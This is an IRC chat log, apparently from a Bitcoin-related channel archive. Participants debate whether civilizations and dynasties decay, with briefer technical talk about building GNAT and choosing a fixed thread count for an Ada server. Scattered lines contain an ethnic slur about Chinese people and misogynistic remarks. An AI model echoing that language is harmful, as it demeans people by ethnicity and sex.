1891644;1549130338;asciilifeform;it can't be handwaved. but funnily enuff, i credit the surviving frags largely on acct of their ~incoherence~ . a good fudge job produces ~coherent~ crapola. 1891645;1549130346;mircea_popescu;in any case, the notice's inescapable, that "china -- real history because real nation, just like us ; actresses, not." a lot hangs on that "just like us". 1891646;1549130389;mircea_popescu;asciilifeform not necessarily, which is why the "musical revolution" of post great war. "atonal", right, you know it must be real music because it's not the tedious curliqued post-post-mozart nonsense. 1891647;1549130420;asciilifeform;there was a thread coupla yrs ago where discussed how in modern cn archaeologists are kept ~out~ of anywhere with potentially buried readable goodies, on acct of modern pekin specifically trying for sov-style 'coherent history' crapola 1891648;1549130430;asciilifeform;and dug up goodies have habit of blowing holes in same 1891649;1549130479;mircea_popescu;shall i quote 1880s to you ? here : "The room was a long and lofty one, furnished in the stern uncompromising style of the Mahogany Age, now supplanted by the later fashions of decoration which, in their outset original and artistic, seem fairly on the way to become as meaningless and conventional." 1891650;1549130527;mircea_popescu;"artistic" as opposed to "conventional" in much the same way you propose "authentic" oppose "coherent". but mind for a second -- if your army's based on the enemy, you have no army at all, yes ? 1891651;1549130537;asciilifeform;mircea_popescu: 'just like us' is not an implied hypothesis ( if to take cn at face value, they pissed on the electric fence 3, 4 times, europistan , 1-2 ) 1891652;1549130554;mircea_popescu;but they did it ~like us~, is the proposal. 1891653;1549130569;mircea_popescu;http://btcbase.org/log/2018-01-13#1770198 1891654;1549130569;a111;Logged on 2018-01-13 16:20 mircea_popescu: http://btcbase.org/log/2018-01-12#1769922 << "You suddenly see that Shakespear, with all his flashes and divinations, never understood virtue and courage, never conceived how any man who was not a fool could, like Bunyan’s hero, look back from the brink of the river of death over the strife and labor of his pilgrimage, and say 'yet I do not repent me'; or, with the panache of a millionaire, bequeath 'my sword to him that sh 1891655;1549130596;mircea_popescu;shakespeare's chinese in shaw's view, to render the matter in this discussion's terminology. 1891656;1549130657;mircea_popescu;all distinction's arbitrary, granted. yet what do you distinguish, and what do you distinguish it from ? 1891657;1549130699;asciilifeform;i'm suspecting an ~absence~ of a distinction, rather than a distinction. i.e. they eat an' shit just like in europistan, and they also complexity-collapse. 1891658;1549130704;mircea_popescu;now, how's "i do not repent me" square with the "i do repent what archeology seems to show" 1891659;1549130723;mircea_popescu;asciilifeform there's no question that cowardice, stupidty and indignity are countryless. 1891660;1549130738;mircea_popescu;so yes, in the sense of the shittiest parts, they, just like us, and like everyone ever was or ever could be. 1891661;1549130857;asciilifeform;the notion that civilizations live , age, die, dun strike me as at all outrageous. possibly the only solidly known fact about'em , in fact. 1891662;1549130883;asciilifeform;the courageous conqueror's sons are lazy fucks, piss away empire, new conquerors come an' GC it, and while(1). 1891663;1549130931;asciilifeform;and it dun strike me as somehow outlandish that in cn they've played the tape 3-4 times, while in europistan 1-2. 1891664;1549131001;asciilifeform;and not only in cn. 1891665;1549131018;asciilifeform;iirc somebody dug up that collapse of persia even had the 'atonal music' lulz. 1891666;1549131046;mircea_popescu;it dun persuade me. 1891667;1549131071;asciilifeform;it is difficult to find persuasive thread in ancient histories w/out time machine. 1891668;1549131101;mircea_popescu;but consider -- the notion that objects "live, age, die" also dun strike you ? 1891669;1549131117;mircea_popescu;what else. planets, too, stars also, everything ? what's the use of this unviersally applicable model, precisely ? 1891670;1549131135;mircea_popescu;"it broadly works" "yes, it does. you know what else broadly works ? everything else children do to coo themselves to sleep" 1891671;1549131148;asciilifeform;recall the continental drift wanks ? 1891672;1549131162;mircea_popescu;yeah. 1891673;1549131178;mircea_popescu;in short, i don't mean that it dun persuade me "it's the case". it dun persuade me it's worth my time as a model. 1891674;1549131217;asciilifeform;( for n00bz : nobody has ever measured a movement of a continental plate directly, and nobody will. but it's the only model that even starts to make sense of various minerological strata distributions. and so there it is. ) 1891675;1549131277;asciilifeform;whether 'is this model worth my time' is q that only you can answr for self. to many folx, euler's model of distribution of primes 'aint worth time', to others -- worth 1891676;1549131351;asciilifeform;trigonometry was widely 'coo to sleep' until artillery. 1891677;1549131366;asciilifeform;dist. of primes -- until rsa. and so on. 1891678;1549131395;mircea_popescu;now give me some examples outside of math. 1891679;1549131445;asciilifeform;why not the typical example, where romans 'hey, phunphakt, some rocks emit flammable black piss' 1891680;1549131468;mircea_popescu;you don't perceive the difference between the things we're discussing ? 1891681;1549131475;asciilifeform;or where greeks knew of magnet, also as useless curio 1891682;1549131496;asciilifeform;mircea_popescu: was addressing 'broadly works' 1891683;1549131501;mircea_popescu;there's no objective truth'll get you into a girl's hotpants. you realise this ? 1891684;1549131513;mircea_popescu;yes, but you were adressing it by yourself in the closet. 1891685;1549131526;mircea_popescu;address it out in teh open, talk of models for human society not of models for reality. 1891686;1549131604;asciilifeform;the only 1 i had in mind in thrd was 'civilizations build up & then collapse', which is closest thing i know of to 'models of society' with any support whatsoever 1891687;1549131667;mircea_popescu;you understand this, if i and you are florentines, and you teach me the facts of life, there's a very fundamental difference between "a. get boat ; b. use lodestone, navigate ; c. find curio ; d. bring back home. e. trade for lots of dough and good things, including a desdemona ; f. strangle her for being a whore" whether i say "i don't know this lodestone model be worth my time" or i say "i dunno this strangling be worth my 1891688;1549131667;mircea_popescu;time" 1891689;1549131677;asciilifeform;what i thought was mircea_popescu's objection, is 'this model dun ~do~ anyffin useful' 1891690;1549131723;asciilifeform;i.e. you can't use it to aim a cannon, or navigate, etc 1891691;1549131725;mircea_popescu;objection was that it doesn't distinguish between anything and anything, not moreso than, at the most, between "the set of things about which i could be arsed to think the five minues that;d produce support for it and the set of things i wasn't yet so arsed" 1891692;1549131730;mircea_popescu;this is a purely subjective distinction. 1891693;1549131764;mircea_popescu;the objection is that in being an universally arguable, it therefore is an universal waste of time. 1891694;1549131790;asciilifeform;let's hear about the excluded counters ? e.g. is there a dynasty still going somewhere for 1000y that never enhabsburgated into idiocy ? 1891695;1549131830;mircea_popescu;well, this'll quickly devolve into semantics. how would we establish what passes ? 1891696;1549131898;asciilifeform;i can picture mircea_popescu , living in the time of harvey , 'yer model of blood circulation is nonsense, you say erryone has veins, arteries, heart, but for all you know the cynocephali in africa dun have any such thing' 1891697;1549131903;mircea_popescu;consider the armenians ; or the venetians. both encountered the exact same problem (not invented by them, either) : bad demographic breakdown. do you know for a fact the machined-down zulus had "enhabsburgated" ? there is such thing as "cut down in prime", why not. 1891698;1549131921;mircea_popescu;at which you'll say that "sure, the model of life includes this also" and i'll congratulate you on your great model and move on. 1891699;1549131946;mircea_popescu;in exchange i'll give you this great tool : math is a great model for math. because whenever math works, math works, and also -- when doesn't... doesn't. 1891700;1549131956;asciilifeform;'oak lives 200y' 'nonsense, i just cut down 1 after month' 1891701;1549132019;asciilifeform;oh hey are we replaying the 'guts' thread with switched chairs ? 1891702;1549132029;mircea_popescu;all hail to me, the discoverer of the last word in math. 1891703;1549132062;asciilifeform;( http://btcbase.org/log/2018-12-28#1883569 subj ) 1891704;1549132062;a111;Logged on 2018-12-28 17:03 asciilifeform: with guts. 1891705;1549132081;mircea_popescu;all hail to me, the discoverer of the last word in math. 1891706;1549132379;mircea_popescu;asciilifeform how are the chairs reversed ? 1891707;1549132449;asciilifeform;well for instance, i'm getting to hear a 'this model may be good bedtime story, and sorta hangs together, but ultimately tells you nuffin actionable' from the (apparently) last fella who runs freud model 1891708;1549132563;asciilifeform;re reversed -- iirc in prev thread , went mircea_popescu : 'justify this constant logically!' a: 'not errything can be justified, sometimes yer stuck using guts!' 1891709;1549132586;asciilifeform;whereas here instead http://btcbase.org/log/2019-02-02#1891683 1891710;1549132586;a111;Logged on 2019-02-02 18:18 mircea_popescu: there's no objective truth'll get you into a girl's hotpants. you realise this ? 1891711;1549132586;mircea_popescu;the discussion went "oh, you're saying it tells you nothing actionable ?" "no, i'm saying it doesn't distinguish anything" "oh, so you're saying it tells you nothing actionable" 1891712;1549132589;mircea_popescu;wtf am i to do ? 1891713;1549132613;mircea_popescu;the hotpants discussion was when you were trying to pass me chickens for cows. 1891714;1549132629;mircea_popescu;you can't "give examples" as to the welfare of chickens by "accidentally having happened to pick" only cows. 1891715;1549132659;asciilifeform;possibly i'm thick, but i read 'fails to distinguish' as 'tautological', i.e. you can flip the bits and get equally 'good bedtime' model 1891716;1549132665;mircea_popescu;that i didn't permit that proposed transitivity, and i explained it in terms of hotpants, doth not mean anything about what we were discussiong. 1891717;1549132705;mircea_popescu;no dood. fails to distinguish as in, fails to distinguish. the partition it enacts upon the world is into two sets : the set of the items you invited over to play tea time with, and the set of the items you didn't [yet] so invite. 1891718;1549132740;asciilifeform;wat do if set 2 is empty ? 1891719;1549132817;asciilifeform;'you say multiplication on integers commutes, but whata load of rubbish, somewhere in resplenduminous-land betcha there's 2 where it doesn't' ? 1891720;1549132892;mircea_popescu;so man is this bipedal animal without feathers and with flat nails who's historical existence is the model for all things, stars, continents, societies and any other ideal object ? 1891721;1549132914;mircea_popescu;"even the study of math, mp, note you i said the study not the object studied, flourishes and dies as described by my model!" 1891722;1549132932;asciilifeform;certainly seems to have croaked , neh 1891723;1549132989;mircea_popescu;i don't even disagree! everything ever will match this model! 1891724;1549132990;asciilifeform;and iirc contention was 'earlier men as model for laters' rather than 'man as model for stars' 1891725;1549133012;mircea_popescu;i am unpersuaded "man" as such is the "transnational" universal socialists want it to be. 1891726;1549133017;mircea_popescu;i do not believe european man is model for chinese. 1891727;1549133035;mircea_popescu;i do not believe "the grand truths" of european descent have much import outside of a world seen through european eyes 1891728;1549133047;asciilifeform;possibly not, but imho unless we find that they parachuted from mars, null hypothesis is that they're roughly similar 1891729;1549133050;mircea_popescu;and i do not believe china meaningfully "cycled" because "oh, look, habsburgs!!!" 1891730;1549133065;mircea_popescu;it's the sort of understanding of history of the sort of people who'd rather be done with it than anything else. 1891731;1549133082;mircea_popescu;nothing wrong with "the model", especially if you have no intention of being historian nor any serious interest in history. 1891732;1549133109;mircea_popescu;but "the habsburgs" aren't a fucking item. who, which ? die kaisrin, habsburg ? her mother ? her eldest sister ? her eldest brother ? 1891733;1549133139;mircea_popescu;gimme a break, just because an (unrelated) demented fellow built some great palaces and schonnbrun is well painted dun make some sort of answer to the questions of life. 1891734;1549133156;asciilifeform;how is it that mircea_popescu can discuss 'the socialists' but not say 'which ones', lenin, gorby, or obummer 1891735;1549133192;mircea_popescu;because i offer a unifying criterion! 1891736;1549133222;mircea_popescu;i don't fucking posit, "oh, they were all people, and here's how peopledom goes, on basis of this example i misrecollect" 1891737;1549133258;asciilifeform;still waitin' for the counterexample, of dynasty somewhere that didn't eventually have its arse handed to it by outsiders 1891738;1549133259;mircea_popescu;in fact, hussein bahamas could wake up tomorrow ~and no longer be~ socialist. for the simplest of reasons -- no longer meeting teh definition. whereas... 1891739;1549133275;mircea_popescu;asciilifeform http://btcbase.org/log/2019-02-02#1891697 1891740;1549133275;a111;Logged on 2019-02-02 18:25 mircea_popescu: consider the armenians ; or the venetians. both encountered the exact same problem (not invented by them, either) : bad demographic breakdown. do you know for a fact the machined-down zulus had "enhabsburgated" ? there is such thing as "cut down in prime", why not. 1891741;1549133293;asciilifeform;there's a contiguous functioning throne in armenia ?! or venice?? 1891742;1549133325;asciilifeform;'demographic breakdown' is entirely acceptable 'why'. but i dun see how it contradicts. 1891743;1549133375;mircea_popescu;what exactly do you mean by this "enhabsburgated" ? 1891744;1549133385;asciilifeform;for that matter, how is zulu's failure to invent the mg to shoot back at brits with, not 'demographic breakdown' 1891745;1549133402;mircea_popescu;seems to me that if i take a flamethrower to a beehive or if the queen bee just fucking dies one morning you'd have DIFFERENT situations. not even then ? 1891746;1549133416;asciilifeform;mircea_popescu: in my mind 'habsburg' (or if you insist on pedantic, 'last habsburg') is shorthand for inbreeding and 'king has trouble tying own shoes' 1891747;1549133433;mircea_popescu;asciilifeform demographic breakdown is what happened the first time europe nearly got wiped. "oh, you have towns and writing ? cute, here's 10e19 orcs from middle earth." 1891748;1549133455;mircea_popescu;"your technology leverages you 193.446, too bad you're outnumbered 6.023e23" 1891749;1549133466;asciilifeform;so contention is, roughly, 'asteroid dropped' ? 1891750;1549133520;asciilifeform;if we're doing the romans, dun seem to fit ( rome pushed back 10e19 orcs for 400+ yrs, ~then~ started to lose air from tyres ) 1891751;1549133555;mircea_popescu;sure, if we're doing the romans dun seem to fit. but we were doing " still waitin' for the counterexample" 1891752;1549133650;mircea_popescu;anyway, it's deeply untrue "kind had trouble tying own shoes". the habsburg empire (to this date a model for wanna-bes, from bahamas' crowd to merkel etc) ended very much by bombsteroid dropping. but other than that, the last emperor franz as the last emperor albert-edward had a lot in common : very socialist outset. 1891753;1549133656;asciilifeform;is mircea_popescu's angle that 'it is pointless to try an' model civilizations, even if you had enuff data to work with, it won't fit in head' ? or that 'this 1 model suxx' 1891754;1549133707;mircea_popescu;did you, incidentally, read up on this tranby croft affair ? 1891755;1549133713;asciilifeform;nein 1891756;1549133715;asciilifeform;what was this 1891757;1549133733;mircea_popescu;this was future king going "five twerps in me enturage agreed SO THERE WAS NOTHING I COULD DO" in court of law. 1891758;1549133756;asciilifeform;where was this ? sounds like replay of ludvig of bavaria ? 1891759;1549133758;mircea_popescu;guy liked playing bacarrat. guy was present at a table. others (wjho didn't like, and didn't play) picked a cheater. king... ABDICATED 1891760;1549133773;mircea_popescu;cuz what the fuck do you do, when "dude, get the fuck out, i was there, IF IT HAPPENED I WOULD HAVE SEEN IT" doesn't come out ? 1891761;1549133778;asciilifeform;that was sorta how nick the 2nd abdicated, neh 1891762;1549133791;mircea_popescu;you specifically abdicate, in the exact sense of http://trilema.com/2018/yes-bitch-i-would-bring-it/ 1891763;1549133841;mircea_popescu;asciilifeform so then, british empire was "enhabsburgated" because albert the dick ornament clearly too dumb to tie own shoes ? or was it asteroided, seeing how, well, the germans fucked them. 1891764;1549133857;asciilifeform;incidentally, the very same chinese had a term for this, 'lost mandate of heaven' 1891765;1549133913;mircea_popescu;not so clear it's for this rathjer than "bad luck with cards", but w/e. 1891766;1549133919;asciilifeform;mircea_popescu: i dunno, when old woman breaks hip, was it the 40y of osteoporosis, or the bathtub that broke it ? 1891767;1549133962;mircea_popescu;that'd depend on the context, now wouldn't it. 1891768;1549133972;mircea_popescu;are we making old woman food rations or bath tubs. 1891769;1549134040;asciilifeform;asciilifeform's q resolves to 'do kingdoms suffer equiv of osteoporosis' 1891770;1549134065;mircea_popescu;it's not even clear kingdoms are sufficiently similar to be discussed in those terms. 1891771;1549134075;asciilifeform;possibly not 1891772;1549134076;mircea_popescu;what, just because you use the same word ? 1891773;1549134091;mircea_popescu;this is the fundamental chinese approach, "oh, x=y" randomly everywhere. 1891774;1549134119;asciilifeform;the chinese, as i understand, would have sided with mircea_popescu : 'eh get out, you can't model this' 1891775;1549134143;mircea_popescu;mno, they'd be "oh, rose is bush because in this poem they're used interchangeably". 1891776;1549134149;asciilifeform;it's a fundamentally euro limb to walk on, 'fuck you all, if it dun model it dun exist' 1891777;1549134158;mircea_popescu;much like "chinese have word for this european phenomenon, it's she cow pig had kittens." 1891778;1549134218;asciilifeform;they also have a word for latrine, big fat deal ( or mircea_popescu would contend that 'king who fails to pass his regular kinging litmus' aint a universal item ? ) 1891779;1549134246;mircea_popescu;no, i'm just saying the expression is ~constructed~ so as to ~by itself~ provide the universality. 1891780;1549134281;mircea_popescu;if you redefine all words to mean simply "i love you", you will "live" in the most loving world imaginable. 1891781;1549134283;mircea_popescu;~imaginable~. 1891782;1549134306;asciilifeform;( incidentally, asciilifeform thinks of 'the chinese' in ~past tense~, afaik the current inhabitants are a continuation of euro thinking, rather than the folx who spun in circles in xyz b.c. ) 1891783;1549134364;mircea_popescu;kinda what i was saying, "invented by british". 1891784;1549134383;asciilifeform;ftr they agree 1891785;1549134386;mircea_popescu;seems to me "china" as the mythical beast went to join "egypt". yeah, sure, used to be tall men with elegant noses that invented mapmaking. 1891786;1549134393;mircea_popescu;but now, short men with pig noses that can't use maps. 1891787;1549134398;asciilifeform;( they have even a 'national humiliation day' as holiday, commemorating defeat in opium war ) 1891788;1549134418;mircea_popescu;serves them right, "empress" holy shit. 1891789;1549134421;mircea_popescu;why not painted goat. 1891790;1549134435;asciilifeform;that's the interesting, imho, bit, they agree that 'serves right' 1891791;1549134455;mircea_popescu;"this train is too loud and it priviledges the speed of sound over other speeds much more important to us" ~cixi, 1800s. 1891792;1549134483;mircea_popescu;asciilifeform let me tell you a story about regulation. 1891793;1549134484;asciilifeform;i suspect that if the zulu had lived on, through sheer numeric bulk, and caught up to building own maxim mg, they would also have 'national humiliation day' holiday. 1891794;1549134489;*;asciilifeform likes stories 1891795;1549134547;mircea_popescu;so, whenever some unpleasant shit happens, such as the merchant fleet stepping on a rake, all the merchants in the burg agree : a) that nobody could have predicted it ; thus therefore b) that, individually and personally, none of them could possibly be blamed ; and thus c) some agreement should be made to in the future avoid such unplesantries. 1891796;1549134572;mircea_popescu;generally this takes the refinment of "more general", just for good measure. cuz they're not a bunch of morons, see. women and children and everyone else do well to follow their wise lead! 1891797;1549134589;mircea_popescu;then nature resumes its course, and guess what ? c) turns out to be costly, and getting in the way of business! 1891798;1549134623;mircea_popescu;at which juncture, all teh merchants in the burg ~publicly~ agree it's a bad thing (in general, mind you!) for anything to get in the way of business and therefore clothing the poor naked whores and feeding candy to their crying spawn ; 1891799;1549134645;mircea_popescu;and also privately agree they'll personally be damned if they forward this inhumane and anti-business aggenda "of other [unknown, now] morons". 1891800;1549134668;mircea_popescu;this is the "economic cycle", and it's been playing out since 1800, ie, since these schmuckls got together in a burg and read newspapers. 1891801;1549134703;mircea_popescu;so, to bring it back to the chinos : "they agree it serves them right", of course, of course. do you know why ? because they've seen the adults do it. 1891802;1549134773;asciilifeform;jp 'agreed' even faster, went in <50y from 'zulu' to sinking white devil's gunships from out of direct sight range 1891803;1549134811;mircea_popescu;sure. 1891804;1549134896;mircea_popescu;but, back to the problem, i dunno why i should credit chinese history more than i credit any other imaginary characters history. there's a history of desdemona, you know, as "brought to life" by various gals over the ages and the stages. 1891805;1549134898;asciilifeform;could have instead, i suppose, said 'eh, asteroid' and laid down in ditch to die. but they didnt. 1891806;1549134997;mircea_popescu;didn't ? 1891807;1549135080;mircea_popescu;let's try a different approach here. 1891808;1549135082;asciilifeform;didn't. instead conquered ~all of asia, captured the iron, molybdenum, petro, whole fucking periodic table that dun grow in jp, and nearly put an end to the brit pantsuit zombie, by pretty close score 1891809;1549135185;mircea_popescu;confronted with the unfatomable depths of male diversity (as promised to be unfathomable by http://trilema.com/2017/the-boundless-burden/#selection-195.0-195.18 ), the female herd (and it is always a herd) has precisely two possible avenues open to it : either a) http://trilema.com/2013/whore-strat/ or else b) http://trilema.com/2016/brexit-grexit-departugal-italeave-czechout-finish-oustria-latervia-byegium/#footnote_2_67054 1891810;1549135235;mircea_popescu;specifically http://trilema.com/2011/romanul-si-marea/#selection-67.334-67.537 is very much exactly b) 1891811;1549135237;asciilifeform;i'm not even sure which of the 2 boxes one would put jp in -- they copied eurostan to the point that hirohito wore ~same clothes as mircea_popescu is wearing nao 1891812;1549135260;mircea_popescu;i'm not even sure either ; though by the fruits i judge former. 1891813;1549135277;asciilifeform;they went full bore 'whore strat' in 1800s. 1891814;1549135343;asciilifeform;switched tacks when it became obv that http://trilema.com/2011/jaful-si-economia/#selection-27.0-30.0 1891815;1549135375;mircea_popescu;but anyway, this a-b dispute is the exact substance of distinctions like http://btcbase.org/log/2018-12-11#1879651 ; but that was then, by now... http://btcbase.org/log/2018-12-20#1882391 1891816;1549135375;a111;Logged on 2018-12-11 17:35 mircea_popescu: russkis understood what it is they;'re copying and why. chinese -- neve rdid. in this sense, chinese copied nuke like russians copied ics. 1891817;1549135375;a111;Logged on 2018-12-20 15:46 mircea_popescu: asciilifeform on meditation, that piece makes it plainly evident redditardation is ~generational~, not ideological. there sit the russki kids, who'd be in a fine position to understand the problem. god knows they have much better access to much better priors that readily illuminate it. 1891818;1549135391;mircea_popescu;in any case, besides this distinction, i don't see any way to meaningfully divide people at the scale here contemplated. 1891819;1549135410;BingoBoingo; if you redefine all words to mean simply "i love you", you will "live" in the most loving world imaginable. << 2019 is shaping up to be A+++ year for logs 1891820;1549135417;mircea_popescu;thus therefore, venetians long after "enhabsburgated" nevertheless nation, because venetian whores won in the bedroom the "war" charles' soldiers "won" on the field. 1891821;1549135442;mircea_popescu;whereas us barbarian, because never actually raised its head out of its ass to date. 1891822;1549135456;asciilifeform;is inca also still nation cuz their whores 'won in the spanish bedroom' ? 1891823;1549135468;mircea_popescu;in fact, the ur-murican would be this fellow : https://www.gutenberg.org/files/52670/52670-h/52670-h.htm 1891824;1549135486;mircea_popescu;(anyone even read lardner besides fitzgerald, faulker, me an' dorothy parker ?) 1891825;1549135492;*;asciilifeform did not 1891826;1549135502;asciilifeform;mircea_popescu: worth read ? 1891827;1549135504;mircea_popescu;asciilifeform latin america much more nation than spain, that's for damn sure. 1891828;1549135508;mircea_popescu;asciilifeform depends how much you like america. 1891829;1549135563;*;asciilifeform 'likes' good bit but with flipped sign bit 1891830;1549135692;mircea_popescu;well, so maybe you enjoy it then. 1891831;1549135695;mircea_popescu;you know me, alf. 1891832;1549135700;asciilifeform;possib 1891833;1549135717;*;asciilifeform promises to return to $thrd if mircea_popescu wants to put moar petrol in it later; presently will bbl, meat systems 1891834;1549139895;trinque;ave1: ever tried building gnat on a cuntoo? I'm unable, fails with http://p.bvulpes.com/pastes/RzU1U/?raw=true 1891835;1549140263;asciilifeform;trinque: configure: error: GNAT is required to build ada << unsurprising , ave1's thing only builds on existing gnat 1891836;1549140304;asciilifeform;trinque: this is common to all gnats (given as gnat is written in ada) 1891837;1549140329;trinque;right, thought his script bootstrapped with binary gnat or something. perhaps I'm mistaken 1891838;1549140344;asciilifeform;it does, but you gotta get the binary one by hand 1st 1891839;1549140347;asciilifeform;iirc 1891840;1549140439;*;trinque will give that a shot 1891841;1549141150;mircea_popescu;since we're doing adaisms : it came before the minigame board that we have to make some specific decisions re the threading model. 1891842;1549141170;mircea_popescu;this is of general interest as i don't expect eulora to be the last republican item with threads in it. 1891843;1549141171;asciilifeform;hm interesting, i thought mircea_popescu et al were using the stock ada tasks thing 1891844;1549141207;mircea_popescu;now, it seems to me the case that since there's little benefit in having more threads than cores, it is perfectly acceptable (in this situation) to hold these in an array set as to whatever maximum is reasonable. 32 or 64 or whatever count. 1891845;1549141254;mircea_popescu;this is much cheaper to maintain, code-wise, than some attempt at an otherwise useless "infinity" ; and in the situation where software's not really expected to work "by itself", ie, will always have someone in charge, the cost of "well, if situations change, alter the value and recompile" doesn't seem an overwhelming cost. 1891846;1549141275;asciilifeform;mircea_popescu: i've worked on boxen with 128+ addressable cpu corez, but i dun expect eulora will find itself on these with any frequency 1891847;1549141285;asciilifeform;seems reasonable to pick a constant. 1891848;1549141288;mircea_popescu;this is re the server. 1891849;1549141292;asciilifeform;aa 1891850;1549141299;diana_coman;asciilifeform, it IS stock ada tasks, sure; it's not that the q 1891851;1549141317;asciilifeform;diana_coman: he said 'threading model' so i assumed he found some ffa-style fascistic constraint to put on it, lol 1891852;1549141327;mircea_popescu;the whole point being, that if you use threading properly, which is to say -- to implement workers which eat from a queue -- then you will ahve to ~somehow count therm~. that count can be either static or dynamic, and it seems the case that dynamic count's a losing proposition. 1891853;1549141346;asciilifeform;mircea_popescu: seems to me to be open&shut case, you picka max so you dun have to heapism it 1891854;1549141358;asciilifeform;fixed array , size known at build time, holds all of'em. 1891855;1549141364;mircea_popescu;didn't seem controversial to me either ; but still, now it's also published. 1891856;1549141374;diana_coman;that's pretty much the crux of it: "infinite" comes with cost of heapism baked in, no choice 1891857;1549141392;asciilifeform;if you ever end up putting it on a cray, you change the constant knob & rebuild, is all 1891858;1549141399;mircea_popescu;exactly. 1891859;1549141412;asciilifeform;diana_coman: in ch17 incidentally this comes into play in ffadom. 1891860;1549141498;asciilifeform;e.g.: 1891861;1549141500;asciilifeform;!!up pehbot 1891862;1549141501;deedbot;pehbot voiced for 30 minutes. 1891863;1549141514;asciilifeform;!A .1 $f 1891864;1549141514;pehbot;asciilifeform: EGGOG: Pos: 4: There is no Register 'f' ! 1891865;1549141531;asciilifeform;!A .1 $g g# 1891866;1549141531;pehbot;asciilifeform: 0000000000000000000000000000000000000000000000000000000000000001 1891867;1549141534;asciilifeform;!A .1 $z z# 1891868;1549141534;pehbot;asciilifeform: 0000000000000000000000000000000000000000000000000000000000000001 1891869;1549141555;asciilifeform;^ there are registers, and exactly 20 of'em, cuz that's how many lowercase letters there are that aint a-f. 1891870;1549141669;asciilifeform;operator can make his ~stack~ as tall as he likes, but 20 regs 4evah. (which incidentally is moar than x86 gives ya) 1891871;1549141700;asciilifeform;(both stack and regs are as wide as the set width, which can be again anyffin you want that fits on yer iron) 1891872;1549141768;asciilifeform;the overall theme being, the exact spatial footprint is known at revv-up, ergo no heapisms. 1891873;1549141865;*;asciilifeform brb,tea 1891874;1549142254;trinque;asciilifeform: looks like ave1's script will bootstrap for you with a downloaded gnat, but the downloaded gnat wants to live on a glibc system. happily building on such. 1891875;1549142400;trinque;if that's correct, the ebuild for same is going to need to be able to bootstrap with whomever's own external gnat. 1891876;1549142656;mircea_popescu;this unseemliness will have to be resolved at some point 1891877;1549142995;mircea_popescu;speaking of http://btcbase.org/log/2019-02-02#1891694 : consider the history of oxford (a place that claims continuity, however ludicrous on the face that claim may be), pre [the latest iteration of] http://trilema.com/2018/wood-impregnated-in-oil-a-metaphor/ 1891878;1549142995;a111;Logged on 2019-02-02 18:23 asciilifeform: let's hear about the excluded counters ? e.g. is there a dynasty still going somewhere for 1000y that never enhabsburgated into idiocy ? 1891879;1549143050;mircea_popescu;edmond warre (a man of absolutely no accomplishment, either intellectual or social, but merely an avid ~rowsman~, am activity the deeply ~coerced~ atmosphere at oxford "respected", much in the way sovoks "respected" marx) met pesonally (and sacked) oscar browning (a man of arguably the greatest intellectual, scholarly, and undoubtedly social accomplishment oxford of his time -- and perhaps in all time ever -- knew). 1891880;1549143071;mircea_popescu;of the former, wikipedia says "He took much interest in sport at Eton, and the high standard of rowing which the Eton eights attained was due in a large measure to his coaching. His 45 years' connexion with Eton thoroughly identified him with its traditions and ideals, and, without being remarkable either as a scholar or as a teacher, he wielded a personal influence which has seldom been surpassed. " 1891881;1549143209;mircea_popescu;of the latter, same fond of idiocy offers a restatement of an gallingly anonymous "If the reader is not particular about grammar and style, and is judiciously suspicious of dates, he, or more likely she, will derive both amusement and profit from Mr Browning's pages" 1891882;1549143326;mircea_popescu;(this is engineered to count as an insult, because supposedly, or at least by the lights of deeply inept femtards a la virgina woolfe, this guy "hated women" because wasn't sufficiently something or the other ; and so proposing that women'd benefit off his book is like, totally, oh noes.) 1891883;1549143355;mircea_popescu;now -- does oxford meet "enhabsburgated" bar ? 1891884;1549143897;mircea_popescu;meanwhile also dug out the trilema re http://btcbase.org/log/2019-02-02#1891554 : http://trilema.com/2014/between-the-hammer-and-the-anvil/ 1891885;1549143897;a111;Logged on 2019-02-02 17:18 mircea_popescu: asciilifeform it's not like the republic is ~avoidable~. 1891886;1549144192;feedbot;http://qntra.net/2019/02/dna-testing-firm-gives-client-data-to-fbi/ << Qntra -- DNA Testing Firm Gives Client Data To FBI 1891887;1549145171;mircea_popescu;"CEO Bennett Greenspan claims his desire to [...] live out his fantasy of being Batman without the risk of getting punched" << oh, but how aptly put! 1891888;1549145389;BingoBoingo;tyvm 1891889;1549146377;mircea_popescu;now how's this twerp better, or for that matter distinct or distinguishable, from the celebrated http://btcbase.org/log/2019-01-30#1890666 1891890;1549146377;a111;Logged on 2019-01-30 01:02 asciilifeform: 'ru-ar' d00d described 'month -- euphoria, then reality sets in when so happens you want a faucet fixed, or tooth capped, or to buy power brick for lappy' etc 1891891;1549146822;asciilifeform;funnily enuff, this one is (standing next to the others) ~honest~ : immediately admits 'we're usg front an' proud, heil clitler' vs the competing shops who pretend, thinly , to somehow not 1891892;1549146860;asciilifeform;( as if ~any~ db belonging to a usg.corp were or could be anyffin other than a usg.db ) 1891893;1549147087;asciilifeform;http://btcbase.org/log/2019-02-02#1891883 << sure does ! ( if mircea_popescu's oxford segment is supposed to support the 'not all ! institutions decay like old stump', i'm not seein' it, seems to support exactly opposite angle.. ) 1891894;1549147087;a111;Logged on 2019-02-02 21:35 mircea_popescu: now -- does oxford meet "enhabsburgated" bar ? 1891895;1549147658;mircea_popescu;but it supposedly stands ? 1891896;1549147686;mircea_popescu;what, the idea's habsburgs disappeared really whereas oxford mystically and thus all the same disappeared ? 1891897;1549147709;asciilifeform;stands like england itself 1891898;1549147711;asciilifeform;hollow stump. 1891899;1549147716;mircea_popescu;you can visit oxford today ; it stands with ye olde habsburg court in a situation of pure equivalency, and with abandoned seashells just as much. 1891900;1549147762;asciilifeform;there was an (oxford, incidentally, iirc) prof, who willed his corpse to be stuffed , so could continue to 'attend' meetings 1891901;1549147770;asciilifeform;did not thereby become immortal. 1891902;1549147799;mircea_popescu;yes but this also chisels your stand on existence all the way into nothingness. 1891903;1549147802;asciilifeform;can visit him too tho 1891904;1549147813;mircea_popescu;what then exists, other than by gift of alf himself ? 1891905;1549147822;mircea_popescu;"math" "right." 1891906;1549147837;asciilifeform;fughet maff, iirc thread were re political orgs 1891907;1549147843;mircea_popescu;well ? 1891908;1549147881;asciilifeform;iirc thai royal house is going on 400y 1891909;1549147888;asciilifeform;pretty good horse in that glue factory. 1891910;1549147901;asciilifeform;( and still unrotted by 'constitutionalism' etc ) 1891911;1549147981;mircea_popescu;you mean the idle schmuck that had a topless wife for an occasion once and they all threw a ridoinculous fit ? 1891912;1549147992;mircea_popescu;dun tell me this became meanwhile your examplar of non-habsburgated. 1891913;1549148008;asciilifeform;why this king 'idle schmuck' but other - not ? 1891914;1549148014;mircea_popescu;which other ? 